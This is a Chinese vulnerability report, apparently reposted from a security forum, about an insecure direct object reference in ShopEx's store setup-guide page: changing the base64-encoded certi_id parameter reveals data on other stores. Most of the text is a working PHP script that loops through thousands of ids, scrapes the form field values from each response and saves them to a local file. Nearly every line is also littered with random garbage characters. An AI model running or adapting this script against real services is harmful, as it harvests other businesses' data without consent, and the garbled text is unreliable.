ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
$ |& U' N9 Y, E0 M% J! R! o5 gShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面

. [. s. W  P, d( d' h6 L' \/ y

& S1 C! o& q$ Z2 B  Z/ c$ Nhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

' k: e) `' C( Q; R

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

4 x0 h: x1 [7 H6 @

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
9 P/ r1 [) |" R$ C/ J* I/ _
: M# f* I3 C- P5 U. w
) ~* c& X7 M3 ]. a& S3 o+ i
<?php
( X. z: e/ M  C4 Z1 R: O- T
8 R- U6 F( `, H3 Y" }; Q: W- w% N                for ($i=1; $i < 10000; $i++) { //遍历

1 F1 F- C: F( p1 \! a                        ShowshopExD($i);
: ]; y5 A' l) j0 _1 M8 m
                }
& ^5 C# {5 j/ _, C
                function ShowshopExD($cid) {
7 F" |! ?% h7 G" _# }
                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
$ ~) I5 T# O$ b0 w
        $url = $url.'?refer='.$refer;
* b; z% J( H& h4 d
$ j, _4 w; C5 m* I) h0 e        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
  E$ N" W$ m0 {1 C& X+ {- P
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
! s+ R  O/ [0 o! M% O
        if(strpos($result,$refer))

        {

5 Y8 c: x" v; R0 Z% `& L                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
0 @$ [8 r1 r5 n
3 n# I6 M9 ]8 m3 g                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

. Z6 |, y" \2 [* X, F) I' C                foreach ($value[1] as $key) {
$ U4 e* R5 M# o. S+ T3 p0 v2 i" s
5 w3 [, G, H, T- M4 `/ Y. @" n                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
' W& _) D& W' {
                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";
- y/ N; _; Z/ H, m5 e4 p0 w
' z! p& W5 G: x) e                        fwrite($fp, $col, strlen($col));
: t2 @& C5 f9 W# I- Z
                }

# t3 M2 S) r) }, M  b; M6 |                echo '--------------------------------'."\r\n";

' m7 H! |% i6 h/ j                fclose($fp);
, H2 Z, w6 G9 _# M. @7 o) t  R  l0 m
, y" q+ [, G4 W0 ~        }
+ ~- R5 j3 N- X7 E6 T2 _
0 {9 @0 Z/ q* P) z. W        flush();
8 W1 R  M8 ~3 \5 p4 D; I% H2 q
! C( O( p  I7 ^$ _        curl_close($ch);

                }
( m4 w! _+ ]: O% G- U$ Z. f
?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式